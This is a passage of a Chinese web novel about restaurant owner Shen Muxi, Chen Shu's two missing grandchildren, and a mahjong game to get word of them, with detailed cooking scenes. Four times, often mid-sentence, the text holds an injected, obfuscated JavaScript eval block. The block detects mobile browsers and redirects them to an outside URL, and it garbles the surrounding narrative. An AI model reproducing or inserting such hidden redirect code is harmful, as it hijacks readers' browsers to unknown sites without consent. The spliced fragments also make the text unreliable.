他其实很感激沈木犀那天收留他们一家三口，因为那天要是不进沈家酒楼的吃那口茶汤泡饭。他或许不仅要承认自己识人失败，还要接受自己人到老年一身所长仍是无法养育儿女的现实。 带着孩子在城里晃了三四天，陈叔愈发觉得，要找到一份工作比找到一个人更难。 直到他被沈木犀接纳，他想好好展现自己的一身所学，恩情无以为报，是陈叔在内心想过无数遍的。 但他从来没有想过他要为女儿打抱不平的人是收留他们的沈木犀。 并且他也在后厨日常的工作中和见沈木犀最近的所作所为深知沈木犀不会与酒楼的大师兄结婚。 这些年的种种，如潮水扑面而来，这些天的点点滴滴快速闪现至他的眼前。 这些在沈家酒楼当差的日子里，他有很多转变，比如明美确实很有天赋，并且非常能吃苦，即便不如男子身强力壮，如果好好培养，一定可以是不错的锅匠，守护她自己一世安生立命不成问题。只是…… 只是无数个迟疑，让陈叔无法全心全意的教授孙女。 她是个姑娘，锅匠每天站立、切墩、颠锅、配菜……学厨太辛苦。无数个反复让陈叔迟迟无法面对自己是否要对孙女和对女儿做出相同的抉择。 陈叔夜里也会在灶前徘徊冥思，祖师爷真的说过，传艺不传女吗？ 可是为什么自己按照这样做了，却没有守护到自己的女儿呢？ 看着明美在专业和更加规范化的地方学习，自己也很是安慰，陈叔无数次看到明美被人夸奖时，他都在思考，当年不让女儿学厨，让陈炎入赘，最后又抛弃他们一家是不是做错了。 他想到卧床的女儿，心中总是五味杂陈。 他想找到陈炎，哪怕给自己一个明确的答复，陈炎就是陈世美，陈炎就是欺师灭祖，陈炎就是白眼狼。这样陈叔也就铁了心培养两个孩子成材成人。 陈叔只觉得心里太乱，他无法回答沈木犀。 昏暗的灯光中，他拉着一口饭都没吃的两个孩子往楼上去了。 这一天陈叔觉得有些累了，他不太想思考。 …… 顾辰再次加热好汤，打算让沈木犀再喝一点，将盛好的汤推到沈木犀的面前。 “再喝点吧？” 沈木犀不说话，摇摇头。 “你真的不嫁大师兄吗？” 沈木犀机械的摇摇头，突然发现问题不一样，又使劲的点点头。 沈木犀猛地抬头撞进了顾辰俯身深邃的眸中。 沈木犀一时有些恍惚，她觉得既然事已如此，那今夜就先这样。她猛地站起身，引得顾辰有些错愕。 顾辰一时也为沈木犀突然的靠近感到心脏突突心跳。 他看见沈木犀坚定的眼神，直至她离自己越来越远。 沈木犀径直走向后厨，顾辰仍愣在原地，他还停留在刚才的近在咫尺中…… 见顾辰半天没有动静，沈木犀转身叫他：“小师弟，赶紧的来帮忙，那爷仨估计两顿饭都没有吃了。” 顾辰得令来到后厨，沈木犀已经架起了炉灶，开始做饭。 沈木犀看到菜架上有新鲜的茭白，于是又切了一碗肉丝。 沈木犀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919898|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自言自语：“做个什么好呢？这个茭白肉丝面吧。” 顾辰只在一旁看着，唇边牵起浅浅的微笑。 沈木犀见顾辰没有打算过来帮忙的意思，觉得随便吧，自己开始做。 好在顾辰本来话就不多，不然这会心烦意乱的沈木犀肯定要把他赶出后厨。 沈木犀将肉丝切码整齐，用碗装好，再将淀粉、盐、白胡椒码足底味备炒。 案前沈木犀将茭白外皮拨开，见着里面嫩嫩的脆生生的样子，忍不住一口咬下。 生吃的茭白，脆甜可口，水汽十足。在这样的夏夜里爽口绝佳。 沈木犀边嚼边觉得，如果是一早新摘的茭白，挂着露水，而后又在井水里透过一遍后，又将是怎样的清甜呢？ 此刻沈木犀的脑海中竟是圩边的景象，或有几刻她心中有万亩田园泛起微微清风。 案前，沈木犀认真地将茭白切好丝，她转身想要拿一个盘子盛，转身要拿却发现，顾辰不知何时将后厨的吊扇打开了。 沈木犀一时浅笑，原是清风来自头顶。顾辰靠在墙边看她做菜冲她笑笑。 沈木犀将炉子点火，待油热，锅里加油。 先将肉丝滑散，见肉丝滑嫩出锅，盛出备用。 再将切好的茭白大火爆炒，见茭白稍有断生，锅底泛出少许汤汁，沈木犀把肉丝倒入锅中翻炒，再翻炒几下，沈木犀拿出她存在后厨的好酱油。淋了浅浅一点，酱香随锅边激发出浓烈的香气。 肉裹满茭白渗出的汤汁，淀粉的薄芡让肉变得鲜嫩，与口感脆韧的茭白呼应。无数属于水边的画面泛起。 沈木犀最后加了小小一勺糖，激发最后的鲜。 她将茭白炒肉丝盛出，放到一边。 换锅烧水，水开，细面入锅。 沈木犀再转过身却发现，顾辰已经来到自己身边，拿过她刚才用过的锅开始洗着。 沈木犀看着顾辰洗锅，发现他洗的挺好，不错，看来平时在沈家酒楼有在好好干活。 顾辰则抬头看她，示意一旁的灶。 面条在开水中翻滚，此时正在断生，还需要一会儿。 沈木犀适时的翻动了面条。 可以了，沈木犀又拿过三个大碗，将碗打好汤底的调料。 然后将锅里的开水，沏好面汤。 将面挑入碗里，最后布好茭白肉丝的浇头。 沈木犀这会儿又有些迟疑。 顾辰：“我去送。” 沈木犀点点头。 …… 顾辰端着三碗面，轻敲了三下陈叔的房门。 将一条长凳架着三碗面，转身离开了。 …… 陈叔将房门打开，看到眼前的三碗茭白肉丝浇头的面条，却发现长廊中空无一人。 明事饿了赶忙出了门拿过那碗面开吃起来，嘴里嘟嘟囔囔的：“姥爷好久没有吃过茭白了。” 陈叔看着明事吃得欢，让明美也赶紧过来把面吃了。 陈叔内心五味杂陈，他记得前两天，胡大力几个师兄弟闲时问陈叔老家什么最多。 陈叔说茭白。 陈叔说新鲜的茭白，做出来的茭白肉丝面，汤白菜鲜，回味无穷。他们村在水边，茭白很多，女儿也是抹黑采茭白摔了。 再想来，那天不远处沈木犀也在。 25. 还是跟着感觉走吧 今天的事情虽然比较棘手，但是也算是渡过了。 只是今天以后又会怎样，她还不太知道。 沈木犀坐在自己沈园的卧房里，开着窗户，一边感受着夏夜，一边算着还有多久就要和陈炎进行主厨比赛。 现在陈叔到底能不能帮自己，沈木犀没有谱。 沈木犀翻出传呼机，想看看能不能找到什么人帮忙。 沈木犀看着传呼机上的按钮，翻看信息。 竟然意外发现一条留言。 ——“这几日我和我爹还有你爸在赤水山里。” 传呼号码沈木犀认得，是叶十七。 沈木犀觉得这三人真是凑一桌斗地主得了，一点儿都指望不上。 此时，沈木犀的传呼机竟然意外响起发出来信的声音。 ——“这会儿打开收音机，调频99.7，《相思草》节目” 号码显示是顾辰。 沈木犀今晚走前告诉顾辰，陈叔现在这个情况她也不知道还能不能帮她主抓后厨，要是顾辰身边有合适的主厨，也可以帮她物色。 也不知道是不是电台有什么信息。 沈木犀赶紧打开收音机精准调频。 此时电台那边传来《相思草》主持人的声音。 “今天我们先等一等，刚才一位姓顾的先生来电，他点播了一首苏芮的《跟着感觉走》送给一位姓沈的小姐。让我们一起共同聆听……” 随着主持人声音减弱，背景音乐开始增大。 “跟着感觉走 抓紧梦的手 脚步越来越轻越来越快活 尽情挥洒自己的笑容 爱情会在任何地方留我 ……” 这是沈木犀重生第一天听到的歌。 沈木犀静静地坐在桌前，他听着主持人再次读着别人的来信。 “欢迎各位听众收听99.7，我们《相思草》栏目每晚10点与您相约，期待您的来信，分享独属于您的‘相思风雨中’……” “接下来我们读一封名叫梧桐的来信。主持人，听众们大家好，我是梧桐。最近我有一个烦恼，我从农村嫁到城市。我读过书，因为没有城市户口的原因，无法找到一些体面工作。孩子今年也上小学了。现在我有很多空闲时间，但是不知道自己能干什么？城里的工作很多都需要技术，我……我什么也不会，我有些时候也很着急，看着我家那口子，偶尔和单位哪个女员工走得近就会胡思乱想。我每天待在家里都快要傻了，不知道今后该怎么办，我也怕我那口子要和我离婚。如果离婚的话，我简直不敢想。我给自己设定了如果主持人读到我的信，我就再出门找找工作，如果没有我待在家里。希望主持人可以读到我的信吧。” “啊这是一位从农村来到城市生活，目前有很多空闲时间，想要出去工作的听众信。” 主持人话及此处，沈木犀发现了一个非常惊人的信息。此档情感治愈的节目，每晚有相当多的女性听众朋友。很多女性朋友的信中都有表达过自己想要找工作的想法。 沈木犀立时将顾辰鼓励自己，让她听歌放松一事放到了一边。 沈木犀赶忙记录下了《相思草》栏目的联系方式，并且从书柜上拿出一沓信签纸，开始写信。 …… 经过一夜的休息，第二日一早，沈木犀在日历上圈下还有五日就是主厨比试的日子。 沈木犀将沈园的大门带好便去酒楼了。 今天天还早，沈木犀交代应红暂不接预定包间的客了，如有一些散台，后厨是兄弟们可以出餐就做，不行就提前告知食客，直到主厨比赛输赢出了结果。 应红得了这个消息，不情不愿的：“又不做预定，咱们都打烊好几天了……” 沈木犀：“好饭不怕晚，我都不怕你怕什么？” 应红臊眉搭眼的，沈木犀手里捏着给《相思草》电台栏目的信，抬眼看向通往楼上的楼梯。 应红：“陈叔说这几天他们就搬出去，一早出去找房子了。” 沈木犀得了答案也没再说什么便出了酒楼。 酒楼出门右手边便有一个大大的邮筒。 沈木犀又检查了下地址信息的填写和邮票是否贴好，随后将那封信送了进去。 这一次，不管陈叔愿不愿意帮自己，陈炎能不能赢得比赛，沈木犀觉得，还是跟着感觉走吧。 沈木犀计划这天上午，得将这几天报名人的名单送去顾星河那边，要根据实际人数安排教学用具和实际教学方案。让入学的学生们能更快更好的投入到学习技术厨艺技术。 …… 沈家酒楼对面的胡同里，陈叔带着两个孩子正在找租住的房子。 他一户户的问，发现街坊四邻见他带两个孩子，有故意要价的嫌疑。于是陈叔给两个孩子，买了糖果。嘱咐明美看着明事就在小卖店的门口等着自己。 为了加强孩子的安全，陈叔只给了店老板一个糖的钱，让帮忙看下孩子，自己一会儿过来接他们后付。 店老板也觉得无碍，无非是等一会儿再给钱罢了，比赊账的老邻居们强。 待陈叔走后，明美和明事便在店门口反反复复的看着店老板的零食…… …… 陈炎自从看到了那枚有贴纸画的沙漏，便在心里犯着嘀咕。 于是他一大早把派出所的哥们约到了他们单位的门口。 陈炎将一包烟递给了那人。 那人推拒不收，“我不抽烟。有事儿说吧。” 陈炎：“李哥，我今天来有个事儿来问您啊。” 李大为和进出的同事打招呼，冲陈炎点点头。 陈炎：“李哥，现在小孩能在这种餐馆工作吗？” 李大为：“按理说是不行吧，你一下子也给我问懵了。” 陈炎：“我最近听广播新闻里有在说这个事儿。” 李大为：“是啊，这未成年人啊，就是我们常说的小孩，肯定是不能够到处上班的。主要你说的这个情况我一时不太清楚。” 陈炎：“那哪种会有问题？拐卖算不算犯法？” 李大为：“拐卖肯定是犯法啊，情节严重的还能判刑呢？” 陈炎：“是吗？” 李大为：“怎么你这是有什么线索啊，还是什么情况啊？” 陈炎：“我就是来了解了解，是这样我最近看到一个小孩儿不对劲，我琢磨要是有坏人，随时给您说来着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927981|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 李大为：“那行！还有别的事儿吗？” 陈炎：“没了没了，李哥，还让您跑出来一趟。” 李大为笑笑：“为人民服务！” 陈炎听到此话，立马给李大为敬了个军礼。 李大为一脸严肃，将陈炎向外翻的手，折了回去，试图让他做标准。 陈炎憨笑着。 …… 陈炎一脸严肃回到沈家酒楼门口，他叫胡大力出来，打算再问清楚后厨那孩子的具体来历。 却在等待胡大力出来时，回头看到了街对面站在小卖店门口玩儿的明美和明事。 陈炎愣在原地，他仔细地瞧着那两个孩子。 陈炎见胡大力还没出来便朝着街对面走去了。 …… 陈叔终于找到一家两间屋子的房子，是锅炉厂职工分的房子。 那家人去广东了，一时估计也不会回来。 陈叔算了下手里的钱。 他打算不管还在不在酒楼干，他都得在城里扎根，他们爷孙安顿好了，就接女儿过来。这样，城里他能干活，也能照顾一家人。 陈叔拿着租房的字据来到小卖店门口，却发现两个孩子不见了。 陈叔喊：“老板，我那两个孩子呢？” 那老板刚搬过一箱啤酒放在店门口，他听见陈叔焦急的问他，抬眼环顾了四周，发现两个孩子当真是不见了。 “刚才还在这儿呢？” 陈叔：“他们是自己跑的？还是有人……带走？” 那老板知道孩子一下没有了，事关重大，也不敢应声，于是使劲回忆。 “刚才，他俩还在的呀！” 陈叔：“我孩子呢？” 陈叔抓住那老板，快速冲进那小卖店的后院，发现没人又出来，看向门口的大马路。 这时的大马路上没有几个人，车也很少。 一览无余。 陈叔一时有些慌张，他拿着租房的收据，赶忙放进了衣服兜里。 他在原地转了又转。 此刻陈叔的眼前一片泛白，直直地载了过去。 …… 陈叔再醒来时，沈木犀已经交完表回来了。 原来胡大力刚才应陈炎的约，出来了没看到陈炎，却发现街对面围上了好几圈人，于是凑热闹的拨开人群，发现地上躺着的是陈叔。 胡大力认出了陈叔，将陈叔一把背上了后背。 …… 胡大力告诉沈木犀：“孩子丢了！” 沈木犀一时不可置信。 沈木犀看着昏睡的陈叔，见他慢慢醒来。 陈叔睁眼看到沈木犀，急得说不出话，眼泪直流。 “孩子不能丢啊，那是我女儿的命根子。” 陈叔虚弱的说着话，眼里满是乞求，完全不是他平日里不苟言笑，严肃的样子。 “陈叔，你放心孩子丢不了。我一定给你找回来。”沈木犀将陈叔的手拍拍。 陈叔虚弱的说不出话，沈木犀已经转过身把酒楼里的人全部找来了。 沈木犀：“明美明事丢了，现在开始手上的事情全部放放，沈家酒楼歇业，直到孩子找到为止！” 26. 野葱回锅肉 今日歇业的大字又悬挂在了沈家酒楼的大门上。 整个老城的街道里全都是沈家酒楼的人，他们一家一户的问，一步一走的在大街小巷里喊。 “明美！明事！” “陈明美！陈明事！” 夜色渐起。 沈家酒楼的伙计们人手掏出一把大电筒。 远远看去，老城昏黄的街面，是星光点点。 沈木犀嘱咐大家每过1小时就到相应的地方，集合报告最新情况。 直到深夜10点，伙计们回来报告情况时仍是在摇头。 有人出主意报案，但是现在距离明美明事走丢还不到24个小时。 沈木犀看着路灯下的大家，在琢磨接下来该如何安排找孩子。 留给孩子和大家伙的时间都不太多了。 顾辰不知从哪个巷口买来了好几个大西瓜，将身上的折叠小刀切好，递到了沈木犀的眼前。 沈木犀不见西瓜不口渴，一见西瓜嗓子瞬间感觉冒烟了。 沈木犀瞬间意识到出来到现在大家滴水未进。 沈木犀让大家先停一停，把顾辰买来的西瓜给大家都分了分。 于是顾辰递给大家，众人直抢。 沈木犀心想，应该让大家先休息一下，找个地方吃饭。 但是目前已经离沈家酒楼很远了。 店里只有陈叔，回去吃饭不现实，还得耽误时间。 就在众人啃着西瓜时，沈木犀看着她们所在的小溪路，远处只有一家麻将馆亮着灯光。 而此时沈木犀脑海中想起一个女人，小溪路麻将馆老板娘万喜。 沈木犀心下一策。 沈木犀将众人叫到身边。 沈木犀：“大家伙儿，这西瓜吃完就先去前面那个麻将馆休息一下，咱们先吃饭。” 这时陈叔在店里不放心，半下午实在呆不住了，一路上便问了过来，找到了沈木犀。 陈叔刚到，听见沈木犀让大家休息。 看见大家累了一天，陈叔虽然心里着急，但是还是让大家先吃饭吧。于是和沈木犀寒暄了两句便跟着大部队，一起往麻将馆去了。 顾辰见刚才沈木犀没接过自己递过来的西瓜，于是又留了一块特别甜的西瓜给沈木犀。 沈木犀焦虑的神情迎上顾辰让她吃西瓜的眼神。 沈木犀一时不知如何开口道谢。 “好甜啊。” “你还没吃呢？” 沈木犀一时有些尴尬，顾辰却没再多说什么，往前走了。 沈木犀连着几口吃掉了那块甜甜的西瓜，再抬眼时已经来到了那麻将馆的门口。 麻将馆里一时来了一帮子人，看得那老板娘是又奇怪又开心。 心中情绪不知该展露何种。 然而天天待在餐厅的伙计们就不同了，这老板娘生得十分抚媚。一身墨绿色旗袍高开叉穿得合身。嘴上浓艳的口红把她的肤色衬托的十分雪白。 这样的女人就是少见的。 还未等她开口，扑面而来的脂粉气，以压倒性的优势盖住了一身汗味的伙计们。 伙计们都看愣了。 而陈叔却不太细瞧。 沈木犀又后往前走到那老板娘的跟前。 沈木犀看到眼前上一世的故人，还有些难掩的激动之情。 上一世，万喜是老城区最早开麻将馆的，随着九十年代市场经济的进行，麻将馆开始遍布大街小巷。 后来万喜将麻将馆逐步升级经营。 主做精品茶馆生意，连带卡拉ok业务。 这个时候开始万喜已经利用自己这个小小的麻将馆了解到了各种有利的经营信息。 加上万喜外人迷的样子，也是她日后做大做强的有利条件。 人美脑子又活套，她不赚钱谁赚钱。 而万喜也利用着自己的这套优势，在外有个响亮的外号“万事晓”，至于后来万喜因为经营规模巨大，沈家酒楼需要拓展服务业务阔并了万喜的多家茶楼、ktv业务，之后二人变成了合作伙伴。 不过这都是上一世的事了。 沈木犀想开口问万喜，那老板娘用眼睛示意沈木犀。 麻将馆的墙上，挂着一块黑板，上面用粉笔字写着“不开桌，不做饭。” 沈木犀：“老板娘，麻将开一桌，给我们上12个人的回锅肉盖饭吧，再要一大壶飘雪，12个杯子。” 万喜：“好。” 万喜声音甜甜的，迈着抚媚的步子转身去拿杯子。 这时店里没有帮忙的，这一切都只能万喜一个人操持。 直到万喜将六个杯子拿出，杯底布好了一小把飘雪茶，摆到了胡大力跟前时，长长的的秀发扫了下来，一时令胡大力坐立难安。 胡大力虽然是个蛮人，但是面对女人，十分害羞。和酒楼里相熟的服务员小妹都没法开玩笑，更别说一个这么漂亮的老板娘给他倒水。 万喜见胡大力那傻样，都乐得笑出了声音。 而同样没见过世面的一众兄弟们也都是尴尬地愣在原地，不敢接万喜用炊壶倒开水冲好的茶。 直到万喜来到顾辰身边，顾辰虽然没有表现的不自在，但他竟然直接将那炊壶接过，不让万喜再靠近自己半步。 顾辰：“老板娘，我们自己来吧。劳烦您先我们做口饭吃。”伙计们见小师弟如此会说话，赶忙应声，开始自助干活。 万喜瞧着顾辰，气质不凡，与这些个伙计们确实不太一样，有意又看了他一眼。 而沈木犀看到，站在角落里的陈叔不时打望着街边，又回过头来看看麻将馆里钟表的时间。 沈木犀琢磨加快点速度，于是往后厨去了。 而万喜则将刚进来的沈木犀档在了门外。 “闲人免进，后厨是我最私密地方，不能看哦。”万喜娇嗔着。 沈木犀也有些无奈，她这人真是太会撒娇了，自己作为一个女人也有点招架不住。 于是沈木犀想起上一世里，自己吃到过到的万喜做的回锅肉。 经营茶馆、麻将馆是万喜的事业，然而她最拿手的还是人后一手烧菜的绝活。 尤其是这道回锅肉。 她会选用猪尾巴前端的那块肥瘦相间的肉。 这块肉肥瘦均匀，煮熟后，切成薄薄的肉片，肥瘦粘连稳固。 锅热菜籽油滑满整锅。 油辣，菜籽油里的青芥气就会散掉大部分。 倒入切好的肉片入锅，大火逼出肥肉的油脂。 随着肥肉爆香，倒入豆瓣酱、黑豆豉，将它们炒香炒熟。 适量的盐、糖调味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932166|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >直到豆瓣酱把肉炒香，这时加入配菜。 随着最后在锅边烹上一勺陈醋。 陈醋会随着高温的锅沿，瞬间挥发出醋香，酸度大大降低，香气增加而不增添肉的酸味。 回忆至此，沈木犀已经坐在了厅内。 众人皆是闻到了那勺喷香的味道，于是全都饥肠辘辘地看向后厨的方向。 随着传来浓郁的味道，伙计们开始议论了起来。 “这是炒的蒜苗吧。” “这是大葱。” “大葱有炒回锅肉的吗？” “要我说就是莲花白。” “咋子可能，就是大海椒。” 沈木犀忍不住打断：“是野葱。” 随着沈木犀的话，大家同时盯着沈木犀。 几个鼻子灵的终于闻出了味道。 “哎有可能！” “野葱回锅肉是有点好吃哦。喷香的，比蒜苗还好吃的。” “又难挖又难洗，不过确实好吃。” 说完大家伙纷纷咽了一下口水。 而正巧此时，万喜从后厨端着菜出来，将分装好的米饭端出。 于是大家纷纷凑上了前，确认究竟是什么配菜。 是野葱！ 这样的乡间野味足以疗愈一天疲惫的心情。 大家纷纷自助拿碗打饭打菜。 “老板娘大气，这么好的食材都舍得拿出来给我们配回锅肉了。”沈木犀看着万喜说。 “乡下亲戚，知道我喜欢吃，但是她这次来带了太多，我又没有那什么冰箱。放不了，扔了也是可惜了，便宜你们了。” 万喜看着大家吃得开心，一脸得意。 伙计们几乎都没抬头，奋力地干着自己碗里饭。 吃得快的胡大力连连称赞。 “这个刀工真了不得了。这回锅肉口感非常好。” “这个野葱太香了，比蒜苗好吃多了。” “醋的比例也刚刚好，有点甜味不抢底味，非常鲜。” 大家的评价大多还挺专业，饿了饭的沈木犀则直接将吃完的空碗给到万喜。 万喜接过碗笑笑。 沈木犀：“老板，给你打听个事儿？” 陈叔见沈木犀聊起正事直接越过人群，往沈木犀跟前来。 万喜：“问事儿是另外的钱。” 陈叔本是满心期待，觉得沈木犀绝不会带着大家耽误这么长时间，来这吃饭一定是有什么别的安排。 但是听到万喜这么样回答。 陈叔本是激动的心情，降入冰点。 “我们走吧木犀，别在这儿耽误了。”陈叔说道。 沈木犀拍拍陈叔的手，看着他的眼睛示意“放心。” 陈叔一时不知沈木犀要干啥，只得按捺住自己的情绪。 “老板娘，怎么才肯说。” 万喜抬了抬下巴，“来三圈，赢了告诉你们想知道。” 沈木犀：“没问题。” 于是沈木犀径直走向了拍桌。 打麻将，沈木犀没有在怕的，从小自己就在前厅陪客人搓麻，端茶倒水间，就得顶上厕所的人打几圈。 小时候，她打得好，便会有赏钱。 于是练就了沈木犀搓麻的技术。 今天这个事儿她是打听定了。 27. 阳春面 沈木犀决定入座前，让伙计们都先回去，有消息了及时通知大家。有几个离家远的说自己也回不去了，就在酒楼里待着了，有情况随时听掌柜的安排。 见众人要走，急得陈叔拉住深木犀。 陈叔：“掌柜的，一会儿要是出去找人可怎么办呢？” 沈木犀：“陈叔放心，我自有安排。” 陈叔点点头，但是眉头皱得更紧了。 万喜看着沈木犀坐进了牌桌。 “我们俩怎么打？” 万喜环抱着双臂看着沈木犀。 顾辰送完师兄弟离开并没有走，又折返回来，坐在了沈木犀的旁边。 “老板娘，我行吗？” 万喜耸耸肩，“三缺一了呀。” 万喜的声音甜得有些发腻，扭脸看向陈叔，随后所有目光都看向陈叔。 陈叔怯怯地摆手：“我不行，我不行。” “陈叔，坐下吧，不然开不了牌，没法赢了老板娘拜托人家。” 沈木犀招招手，让陈叔坐下。 “别怕，打输了算我的。”沈木犀又看向一旁的顾辰，顾辰也冲陈叔点点头。 陈叔见万喜的样子，只得勉为其难的坐进了牌桌。 万喜见一圈麻将人都招齐了，也就坐下开始洗牌了。 噼里啪啦的动静瞬间响起，一时间打破了小溪路的宁静。 几声犬吠后，四人纷纷将牌列好在自己面前。 陈叔明显生疏，码牌起牌都非常慢。 万喜拿过一杯飘雪吹了又吹，喝下两三口后，陈叔才将牌理好。 “这么打，咱们今晚得打到天亮去了。”万喜笑笑说道。 陈叔有些着急，第一局，规则他是头家，需先打张。 陈叔觉得应该是自己出牌，见万喜催得急，直接将手边的二条打了出去。 沈木犀见陈叔这般出牌，赶紧将陈叔打出的那张又给放了回去。 “陈叔，不着急慢慢打。”沈木犀有意点陈叔，意思这张不能打。 单吊二条一般需要加番。 但很快陈叔就把幺鸡也打了出去，这一次万喜也没有阻拦嘟着嘴，眨巴眼睛看着沈木犀。 沈木犀见状，无法阻拦陈叔胡乱出张，向顾辰使了个眼色示意她俩打配合。 几圈下来，万喜的牌技十分惊人，几乎可以估算大家手里的牌是什么，并且可以精确到具体出哪张牌。 这让沈木犀一时也有些无法得心应手。 于是在新局开始时，沈木犀冲顾辰又使了个眼色。 二人开始有意配合对方定缺。 以一方定缺，另一方定万喜的缺。 这样在打配合的同时，便能控制万喜不进张，将她想要的牌的概率大大减小。 于是沈木犀在顾辰的帮助下，开始扭转局面。 沈木犀分别打出一个清一色、暗七对、对对胡。 接连好几把，万喜明显感受到沈木犀改变了策略。 “你们是不是出千？”万喜臊眉搭眼的说。 “万老板要是不想告诉我们消息，也可以早说哈，不必拿出千这种事来讲啊。”沈木犀也拿过自己的飘雪猛猛喝了一大壶。 陈叔仍是一脸忧心忡忡的样子。 “陈叔，先喝茶。”沈木犀递过杯子给陈叔。 陈叔结果杯子问：“老板娘，怎么样您才肯说啊？” “你们也没问我啊，都赢了我好几局了，你们也没说问啥，我咋说？”万喜一脸不情愿，也只能看着沈木犀最后的一把对对胡牌面，仍然沉浸在刚才怎么让她自摸了的牌局里。 陈叔听到万喜这么说马上开口：“我丢了孩子，孩子没了，他们现在在哪儿？” 万喜：“你这么说，我怎么答你。” “老板娘，今天下午芭蕉坝锅炉厂门口的小卖店前，两个大概5、6岁的孩子，一男一女走丢了。”沈木犀一脸认真的看着万喜，万喜这才抬眼瞧她。 “是沈家酒楼的主厨带走的。”万喜淡淡道。 陈叔立时做起了身子。 陈叔：“万老板如何知晓的？” “今天下午好几桌人都在我这儿，我这什么都不行，就是消息快。” 万喜看着墙上的时钟走着，已深夜了，时针指向夜里3点。 万喜打了哈欠起身。 “你说的沈家酒楼的主厨是陈炎？”顾辰又进一步问万喜。 “那当然，这几天谁不知道他被您这个沈家酒楼掌柜的给撵出来。他这几天来了我这儿好几趟，四处差人打听事。”万喜看着沈木犀和顾辰三人渴望继续她说的表情。 “想要我继续说，你们得给我再加钱。” 万喜直接坐地起价，陈叔刚才好容易调动起来的心情，已经没有耐心了。 “掌柜的我们走吧，她就没有打算给我们说。” 陈叔起身！ 而就在瞬间，这时一个棕色啤酒瓶从外砸了进来，差点砸到了万喜的头上，众人还未反应之际，只见一个醉汉从外往里冲了进来，一把薅起万喜的长发，将她拉下了牌桌。 引得万喜连连惊叫。 “我她妈是说怎么回了家，一口热乎饭都没有，原来你狗日的在这儿躲懒，看老子不打缺你的腿！” 那醉汉冲过来的速度太快，以至于万喜一整个被他压在了地上。 沈木犀赶忙去拉，避免万喜再次受伤。 但是那醉汉固定住万喜，二人卡在了牌桌的一角，三人几番用力也无法将二人分开。 沈木犀坐在地上，几乎没有力气。 “万老板，我不知道这是个什么东西。但是我现在没有时间了你还能不能告诉我们更多的信息。” “他知道，这个醉鬼知道！”万喜哭得梨花带雨。 沈木犀也没了办法：“你觉得他能告诉我们什么？不然就让你俩在这儿撕吧着？” 沈木犀见消息是打听不来了，于是起身想走。 “别别，他是我哥，他现在发疯就是……就是饿了，你搞个阳春面给他吃了，他醒了自然能给你说。”万喜脸贴在地上，如今还能拉她一把的也就他们三人了。 于是沈木犀拍了拍身上的浮土，将万喜刚才脱下的围裙系在了腰间。 “掌柜的，我去吧。”陈叔拉住沈木犀。 沈木犀：“叔你得再休息一下，一会儿咱们得了消息还得找孩子。” 陈叔见沈木犀态度坚决，又看着自己虚弱的手，也怕做不好耽误问话，于是让沈木犀往里去了。 顾辰也没有理会地上扭打的二人，朝着后厨去了。 …… 沈木犀觉得这个醉汉还真会吃，阳春面沈木犀做得一绝，沈木犀曾经还有味觉的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938816|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候就知道。 平白的要给这醉汉做面，她一时也有些饿。 她也很久没有吃过自己做的阳春面了。 沈木犀看着这个简陋的后厨想，但凡这个醉汉要吃别的，她也没法问话了。 阳春面其实做起来非常简单，但是要做好有很多秘诀。 酱油很关键。 沈木犀希望能在万喜这里找到如愿的酱油，这样可以省一大办的事儿。 沈木犀又在碗柜里翻了翻。 空空的什么也没有。 而这时顾辰却从一旁稻草铺底的篮子里摸出来两个鸡蛋。 这鸡蛋一看就是土鸡蛋。 看着食材寥寥的后厨，这鸡蛋真是好东西啊。 沈木犀冲着顾辰竖起了大拇指。 “要不我来做吧。”顾辰柔声瞧着沈木犀说道。 “我来吧，你还没吃过我做的阳春面吧，挺好吃的。”沈木犀冲顾辰笑笑。 “那我有口福了。”顾辰笑笑，将碗柜里剩下的一颗小油菜拿到了水池边洗了洗。 沈木犀还在碗柜里翻。 “猪油，猪油，猪油，一定要有啊。” 沈木犀觉得以万喜的做饭技术，猪油还是会吃的。好像没有。 沈木犀有些沮丧。 而此时顾辰却抬头看向房梁。 